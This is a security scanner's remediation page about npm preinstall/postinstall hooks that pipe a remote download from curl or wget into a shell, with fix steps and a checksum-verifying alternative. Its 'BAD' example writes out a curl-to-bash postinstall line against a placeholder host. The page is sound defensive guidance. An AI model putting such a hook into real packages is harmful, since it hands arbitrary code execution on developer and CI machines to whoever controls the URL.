Skip to main content
CriticalSupply chainOWASP A08:2021CWE-506

How to fix: npm Install Hook Pipes a Remote Download Into a Shell

A publicly accessible package.json has a preinstall, install, or postinstall script that downloads a remote file with curl or wget and pipes it directly into a shell interpreter. This is a known technique used by malicious/compromised npm packages to run arbitrary code the moment the package is installed.

Why it matters

npm install hooks run automatically, with no confirmation, on every machine that installs the package: developer laptops and CI/CD runners alike. A remote script piped straight into bash gives whoever controls that URL arbitrary code execution the moment `npm install` runs, and the served script can differ from whatever was reviewed at publish time.

Legitimate install hooks that need to fetch platform-specific binaries almost always do so through a local script (e.g. `node install.js`) that can validate what it downloads before running anything. A one-line `curl ... | sh` in the scripts block skips that entirely: whatever the URL returns executes immediately and unreviewed.

How to fix it

  1. 1Treat this package.json as compromised: do not run npm install against it until the script is investigated.
  2. 2If this is your own package, replace the curl/wget-to-shell one-liner with a local install script that downloads to a file, verifies a checksum, and only then executes it.
  3. 3Audit package-lock.json/npm registry history for when this script was introduced and who published it.
  4. 4Rotate any credentials available to CI/CD runners or developer machines that may have already run this install hook.

Code examples

Verify before executing instead of piping straight into a shell

JSON
// BAD: whatever the URL returns runs immediately, unreviewed
// "postinstall": "curl -sL https://example.com/setup.sh | bash"

// GOOD: local script downloads to a file, checks it, then runs it
// "postinstall": "node scripts/postinstall.js"

References

Detected automatically by VulnRadar. The check id is supply-chain-malicious-install-script, stable across every scan so you can filter or diff on it.

See every supply chain check

Questions

How severe is npm Install Hook Pipes a Remote Download Into a Shell?
VulnRadar rates this critical severity in the supply chain category. The severity is fixed per check, not scored per site, so the same finding is the same severity on every scan.
Does VulnRadar check for this automatically?
Yes. It runs as part of every scan under the check id supply-chain-malicious-install-script, which stays the same between runs so you can filter, diff, or gate CI on it.
Which standards does npm Install Hook Pipes a Remote Download Into a Shell map to?
It maps to CWE-506. In the OWASP Top 10 it falls under A08:2021.

Missing a check?

The detection set is open. If you know a misconfiguration this does not catch, propose it: the issue template asks for the threat model, how to detect it, the false-positive risk, and a test fixture, which is the same thing a maintainer would have to work out anyway.

Propose a checkHow a check is built

Scan your own site for npm install hook pipes a remote download into a shell

VulnRadar runs this check and hundreds more against a URL in seconds. No agent to install, just paste a URL.

Or scan this site as a demoRead the docs

npm Install Hook Pipes a Remote Download Into a Shell | VulnRadar